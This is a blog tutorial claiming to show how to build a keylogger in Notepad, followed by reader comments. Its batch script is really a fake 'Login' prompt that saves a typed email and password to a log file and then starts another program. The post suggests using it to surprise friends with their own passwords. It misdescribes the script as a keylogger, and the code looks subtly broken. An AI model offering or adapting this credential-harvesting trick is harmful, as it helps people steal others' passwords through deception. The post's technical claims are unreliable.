By using this trick, you can record out the keystrokes in the PC very easily without any need of third party software. A keylogger is a type of surveillance software that has the capability to record every keystroke you make to a log file, usually encrypted. Every type of keylogger is dangerous as they can record your keystrokes, tracks your activity and can record the open sites. By this, your any account can be easily hacked by the hackers.

These keyloggers can detect your bank accounts passwords too. And these type of keylogger can also be created with the notepad text editor. So, let’s know how to create a keylogger using notepad

Also Read: How To Create Computer Virus in Less Than 60 seconds

How To Create Keylogger Using Notepad

The method is very simple and easy and you don’t need any tool to do this but just a notepad to perform the task. So just follow the post below to proceed.

Also Read: Top 10 Ways To Keep Your Windows Safe From Virus

Creating Keylogger With Notepad:

Step 1. First of all, you need to open notepad in your windows by pressing Window button and then selecting the notepad from the optionsNow in notepad copy and paste the below code in it.

@echo off
color a
title Login
echo Please Enter Your Email Address And Password
cd “C:Logs”
set /p user=Username:
set /p pass=Password:
echo Username=”%user%” Password=”%pass%” >> Log.txt
start >>Program Here<<

Creating Keylogger With Notepad
Creating Keylogger With Notepad

Step 2. Now save this file as Logs.bat on your desktop.

Creating Keylogger With Notepad
Creating Keylogger With Notepad

Step 3. Now create a new folder named logs. (Note that keylogger will only work if the folder name is logs). Cut the folder and paste it into drive C

Creating Keylogger With Notepad
Creating Keylogger With Notepad

Step 4. Now test your file Log.bat and then after entering the Username and password

Creating Keylogger With Notepad
Creating Keylogger With Notepad

Step 5. Open the folder in C drive and see all saved key logs there as a text file created there automatically.

Creating Keylogger With Notepad
Creating Keylogger With Notepad

That’s it! you are done, you have successfully created a keylogger in notepad.

Also Read: How to Remove Virus from Computer without any Antivirus


So above is all about How To Create a Keylogger Using Notepad. With this method, you can easily record out the keystrokes of your keyboard that had been entered in the batch file. And you also use it to shock your friends by telling them their username and password with this. Hope you like the post, don’t forget to share and leave a comment below if you have any related query.


  1. Will it record my every keystrokes? For example if I login to my facebook account will it record my password?

  2. it will only record the words which we write in this bat file..can u plz tell me any method so that it will record every keystoke of computer

  3. its working only when i go to logs.bat file and giving my passwords its not working for allthe laptok key strokes

Comments are closed.